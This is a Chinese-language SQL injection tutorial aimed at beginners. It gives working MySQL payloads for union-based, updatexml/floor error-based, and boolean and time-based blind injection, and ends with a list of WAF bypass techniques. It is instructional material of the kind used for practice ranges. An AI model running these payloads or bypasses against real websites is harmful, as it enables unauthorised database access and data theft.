仅学会1' or 1='1 ,就有不少小菜鸟认为自己已经掌握了sql注入,迫不及待的拿着它去实战,却发现除新手入门级靶场-pikachu-master,没有那个网站搭理我们。
原来1' or 1='1 准确的说是sql注入万能公式,是一种最常见的注入模式,学会它在十年前还能碰运气,到现在早就补丁上加补丁,别想学会它能怎么样,最多当成判断sql注入测试字符串使用。
不想转行只能继续学习。。。
1.union联合注入:
它利用 sql语句中的 union操作符来合并两个或多个 SELECT 语句的结果集,并返回给应用程序,用来绕过应用程序的正常查询逻辑来执行未授权的查询。
步骤:
1.1 判断注入点,构造传参值
-> ?id=1
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
Get:注入点在IP地址处。
post注入点在数据提交框内,需抓包
1.1.1
-> ?id=1' 报错
?id=1' --+ 正常
字符型sql注入,闭合方式'
1.1.2
-> ?id=1" 报错
?id=1 " --+ 正常
字符型sql注入,闭合方式"
1.1.3
-> ?id=1" 报错
?id=1 --+ 正常
数字型sql注入.
特殊类:"(","=","+"具体方式具体判断。
-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。
#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。
1.2 ?id=1' order by 1--+
猜测行数,有返回信息,没有报错。
1.3 union联合注入
1.3.1 爆库(database)
? id = 1' union select database(), user() ,version()--+;
union select database(), user() ,version()检索数据库的名称(database())、当前数据 库用户的名称(user())、以及MySQL的版本(version())。
1.3.2 爆表(table)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,试图从information_schema.tables表中检索数据库名下所有表的名称, 并使用group_concat函数将它们连接成一个单一的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。
- group_concat()函数用于将多个表名合并为一个字符串返回。
- information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等。
1.3.3 爆列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,
这个查询从information_schema.columns表中检索指定数据库(table_schema)和表(table_name)中的所有列名,并使用group_concat函数将这些列名连接成一个单独的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。
- group_concat()函数用于将多个表名合并为一个字符串返回。
- information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等。
1.3.4 爆数据
?id=-1' union select 1,2,group_concat(列1, 列2 )from 表名 -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- 通过union操作符,绕过正常的查询逻辑,添加一个新的SELECT语句,指定了要从表名中选择的列1,列2中匹配数据并输出。
2.函数报错注入 (不常用)
updatexml()函数
在sql注入中updatexml函数经常被用来触发错误消息。
通过构造恶意的SQL查询,使得UPDATEXML函数接收到格式不正确的XML数据,它会返回一个错误,这个错误通常包含了触发错误的XML表达式的一部分。可以利用这一点,并在这个错误消息中捕捉到数据库的敏感信息
步骤:
1.1 判断注入点,构造传参值
-> ?id=
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
1.1.1
-> ?id=1' 报错
?id=1' '--+ 正常
字符型sql注入,闭合方式' '
1.1.2
-> ?id=1" 报错
?id=1 "--+ 正常
字符型sql注入,闭合方式"
1.1.3
-> ?id=1" 报错
?id=1 --+ 正常
数字型sql注入,闭合方式"
特殊类:"(","=","+"具体方式具体判断。
-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。
#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。
1.2 ?id=1' order by 1--+
猜测行数,有返回信息,没有报错。
1.3 updatexml函数注入
1.3.1 爆库(database)
? id = 1' and updatexml(1, concat(0x7e, (select concat_ws(',', database(), user(), version())), 0x7e), 1) --+ ;
- 原始查询:select * from table where id = ?
- 0x7e 是十六进制表示法,代表波浪线(~)字符。
- 这个语句执行一个 UPDATEXML 函数调用,用来触发一个错误,因为传递给 UPDATEXML 的第二个参数XML文档是格式不正确的,因为它包含了一个由 CONCAT 和 CONCAT_WS 函数生成的字符串,而不是有效的XML,当 UPDATEXML 函数因为格式不正确的XML而失败时,它会返回一个错误消息,这个错误消息,这个错误消息可能会泄露数据库的名称、当前数据库用户的信息以及数据库的版本号。
- CONCAT_WS 可以接受一个分隔符(逗号)和多个字符串或非字符串值(后者会被隐式转换为字符串),来将 database(), user(), 和 version() 函数的输出连接成一个字符串,并用逗号分隔输出。
1.3.2 爆表(table)
? id = 1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema = '库名' limit 0,1), 0x7e), 1) --+
- ? id = 1':其中?是一个参数化查询的占位符,通过添加单引号(')来截断原始查询,并注入恶意代码。
- and updatexml(...):是MySQL中的一个函数,用来触发一个错误,当函数在第二个参数(即XML文档)不是有效时会返回一个错误,泄露数据库信息。
- concat(0x7e, ..., 0x7e):concat函数用于将多个字符串值连接成一个字符串,将波浪线(~,十六进制表示为0x7e)和从information_schema.tables表中查询到的表名连接起来。如果查询成功,并且数据库配置为显示详细的错误消息,那么这些波浪线和表名可能会出现在错误消息中。
- (select table_name from information_schema.tables where table_schema = '库名' limit 0,1):这是一个子查询,用于从information_schema.tables表中检索名为'库名'的数据库中的第一个表名。table_schema列包含了数据库的名称,而table_name列包含了表的名称。
- --+:这是SQL注释的开始,用于忽略原始查询中可能存在的任何后续内容,它确保了注入的恶意代码之后的任何原始查询部分都不会被执行
- information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等。
1.3.3 爆列
?id=1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name = '库名' limit 0,1), 0x7e), 1) -- +
- ?id=1',其中?是一个参数化查询的占位符,通过添加单引号(')来截断原始查询,注入恶意代码。
- and updatexml(...):用来触发一个错误,当第二个参数-XML文档被设置为不是有效的XML,函数将返回一个错误。
- concat(0x7e, ..., 0x7e):CONCAT函数用于将多个字符串值连接成一个字符串。这里,它用于将波浪线(~,十六进制表示为0x7e)和从information_schema.columns表中查询到的列名连接起来,如果查询成功,并且数据库配置为显示详细的错误消息,那么这些波浪线和列名可能会出现在错误消息中。
- (select column_name from information_schema.columns where table_name = '库名' limit 0,1):这是一个子查询,用于从information_schema.columns表中检索名为'库名'的表中的第一个列名。
- information_schema.columns表包含了数据库中所有表的列信息。
- -- +:这是SQL注释的开始,用于忽略原始查询中可能存在的任何后续内容,确保了注入的恶意代码之后的任何原始查询部分都不会被执行。
- LIMIT 0,1 正确地用于限制查询结果只返回一个行(即表中的第一行)
1.3.4 爆数据
?id=1' and updatexml(1, concat(0x7e, (select target_column from target_table limit 0,1), 0x7e), 1) -- +
- target_column 是我们想要查询的列名。
- target_table 是包含该列的表名。
- concat(0x7e, ..., 0x7e) 用于将查询结果(如果有的话)用波浪线包围起来,这有助于在错误消息中识别它。
- updatexml 函数被用来触发错误,第二个参数不是有效的XMLMySQL时将返回一个错误消息,该消息包含查询结果的一部分。
- LIMIT 0,1 正确地用于限制查询结果只返回一个行(即表中的第一行)
floor()函数
foor() 函数向下取整,必须保证査询的表列数大于3
步骤:
1.1 判断注入点,构造传参值
-> ?id=1
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
1.1.1
-> ?id=1' 报错
?id=1' --+ 正常
字符型sql注入,闭合方式'
1.1.2
-> ?id=1" 报错
?id=1 "--+ 正常
字符型sql注入,闭合方式"
1.1.3
-> ?id=1" 报错
?id=1 --+ 正常
数字型sql注入,闭合方式"
特殊类:"(","=","+"具体方式具体判断。
-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。
#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。
1.2 ?id=1' order by 1--+
猜测行数,有返回信息,没有报错。
1.3 floor函数注入
1.3.1 爆库(database)
?id=1' and (select concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23) ) -- +
- 原始查询:select * from table where id = ?
?id=1' 是拼接select * from table where id = ?id=1’,其中 ?id 是一个参数占位符,通过在输入 1'来截断原始 语句的意图,并插入恶意代码。
- and (select concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23) from information_schema.schemata) 这段代码的目的是执行一个额外的 sql查询,尝试从 information_schema.schemata 表中检索数据库名。
- select schema_name from information_schema.schemata limit 0,1:这部分查询从 information_schema.schemata 表中检索第一个数据库的名称(schema_name 列)。
- information_schema 是一个特殊的数据库,它包含了所有其他数据库的信息,包括数据库名、表名、列名等。
- limit 0,1 用于限制结果只返回一个数据库名。
- concat(0x23,(select ...),0x23):concat 函数用于将多个字符串值连接成一个字符串,尝试将两个 # 字符(0x23 是 # 的十六进制表示)和从 information_schema.schemata 表中检索到的数据库名连接起来,输出查询的结果。
1.3.2 爆表(table)
?id=1' and (select concat(0x23, (select table_schema from information_schema.tables where table_schema= database() limit 0,1), 0x23)) -- +
- and (select concat(0x23, (select table_schema from information_schema.tables where table_schema= database() limit 0,1), 0x23)):这是实际的注入代码。
- concat(0x23, ..., 0x23):这个函数将多个字符串连接成一个字符串。在这里,它使用 #(0x23 的十六进制表示)作为分隔符,将数据库名(实际上是 table_schema 的值,即数据库名)和另一个 # 连接起来。
- (select table_schema from information_schema.tables where table_schema= database() limit 0,1):这个查询从 information_schema.tables 表中检索当前数据库的名称。table_schema 列包含表所属的数据库名,where table_schema= database() 确保只选择当前数据库中的表。limit 0,1 确保只返回一个结果(即当前数据库的名称)。
1.3.3 爆列
?id=1' and (select concat(0x23,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x23)) -- +
- select concat(0x23,(select column_name from ...),0x23):这部分是攻击者实际插入的 SQL 代码。它使用 concat 函数将三个字符串片段连接在一起:一个 # 字符(0x23 的十六进制表示),从 information_schema.columns 表中检索出的列名,以及另一个 # 字符。
- from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1:这部分指定了 concat 函数中内部 select 语句的查询条件。它从 information_schema.columns 表中检索指定数据库(table_schema='数据库名')和表(table_name='表名')中的第一个列名。
- -- + 这是为了防止原始 SQL 语句的剩余部分干扰注入的 SQL 代码。
1.3.4 爆数据
?id=1' and (select 1 from (select concat(0x23,(select username from users limit 0,1),0x23) ) -- +
- 外层查询 select 1 from ...:这个查询实际上并不关心子查询返回什么,它只是确保整个 SQL 语句在语法上是正确的。
- 子查询 select concat(0x23,(select username from users limit 0,1),0x23):这个查询执行了实际的攻击逻辑。
- concat(0x23, ..., 0x23):这个函数将多个字符串连接成一个字符串。在这里,它使用 #(0x23 的十六进制表示)作为分隔符,将 users 表中第一个用户的 username 字段值和另一个 # 连接起来。
- (select username from users limit 0,1):这个查询从 users 表中检索第一个用户的 username 字段值。limit 0,1 确保只返回一个结果。
3.盲注 (重点)
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
布尔盲注:
构造包含逻辑判断and、or的sql语句,观察应用程序的响应来逐步猜测数据库中的信息,数据库名、表名、列名以及数据内容等。
步骤:
1.1 判断注入点,构造传参值
-> ?id=1
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
1.1.1
-> ?id=1' 报错
?id=1' --+ 正常
字符型sql注入,闭合方式'
1.1.2
-> ?id=1" 报错
?id=1 "--+ 正常
字符型sql注入,闭合方式"
1.1.3
-> ?id=1" 报错
?id=1 --+ 正常
数字型sql注入,闭合方式"
特殊类:"(","=","+"具体方式具体判断。
-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。
#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。
1.2 ?id=1' order by 1--+
猜测行数,有返回信息,没有报错。
1.3 注入
1.3.1 爆库(database)
第一步:爆长度
?id=1' and length(database())>数字--+
长度>1,2,3…… 返回正确,当返回错误,数字-1为长度。
第二步:爆库名
left函数:
?id=1' and left((select database()),1)>'字母'--+
判断该数据库的名字第一个字母是不是>'字母',a,b,c……
?id=1' and left((select database()),2)>'字母'--+
判断该数据库的名字第二个字母是不是>'字母',a,b,c……
?id=1' and left((select database()),3)>'字母'--+
判断该数据库的名字第三个字母是不是>'字母',a,b,c……
……
五次后,得出库名abcde
substr函数:
ascii值
?id=1' and select ascii(substr(database(),2,3))>121;
从第2位置开始,截取database第3位判断它是否大于121,所有字母数字都被编成数可在ascii表中查到,得出库名abcde。
mid函数
?id=1' and select mid((select database()),1,1)=char(121)--+
char(x)函数:将x的值转为所对应的字符。
like 函数
?id=1' and select database() like 'a%'--+
库名第一个字母为a。
?id=1' and select database() like 'ab%'--+
库名前两个字母为ab。
?id=1' and select database() like 'abc%'--+
库名前两个字母为abc。
……
五次后,得出库名abcde
1.3.2 爆表(table)
同上
1.3.3 爆列
同上
1.3.4 爆数据
同上
时间盲注:
利用的是SQL语句中能导致执行时间延长的函数来制造时间延迟,通过观察页面的响应时间,如果页面响应时间明显延长,那么可以推断出注入的SQL语句被成功执行,从而根据这个时间差来逐步猜解数据库中的信息。
1.1 判断注入点,构造传参值
-> ?id=1' and if(1=2,1 sleep(3)) --+
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
- if(1=2,1 sleep(3))
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
条件1=2显然是假的,当'为闭合符合,if函数会执行第三个参数sleep(3),即让数据库暂停执行3秒钟,如果没有继续尝试“,( ,#等符合。
1.2
1.3 注入
1.3.1 爆库(database)
第一步:爆长度
假设长度为5.
?id=1' and if(length(database())>1,sleep(2),0) --+
判断数据库长度是否大于1,执行sleep(2),使数据库暂停执行2秒钟
?id=1' and if(length(database())>2,sleep(2),0) --+
判断数据库长度是否大于2,执行sleep(2),使数据库暂停执行2秒钟
?id=1' and if(length(database())>3,sleep(2),0) --+
判断数据库长度是否大于3,执行sleep(2),使数据库暂停执行2秒钟
……
?id=1' and if(length(database())>5,sleep(2),0) --+
判断数据库长度是否大于3,不是,返回0。
得出长度为5.
第二步:爆库名
?id=1' and if(ascii(substr(database(),1,1))=120,sleep(2),0) --+
判断第一个字母的ascii码是否为115,是,使数据库暂停执行2秒钟,不是,返回0。
1.3.2 爆表(table)
同上
1.3.3 爆列
同上
1.3.4 爆数据
同上
4.waf 防火墙绕过注入
数据
大小写混合:
UoioN selEet
解密编码:
哈希,uncode,base 64
注释符混用:
/ / -+# /**/+:%00 /!**/等
等价函数替换
user=@@user(
Hex0 bin0 等价于 asci0
sleep() 等价于 benchmarkO
特殊符号:
[oxo9,oxoa-oxod,ox2o,oxao]
反序列化:
对代码进行反序列化操作
更改提交方法
GET POST COOKIE 等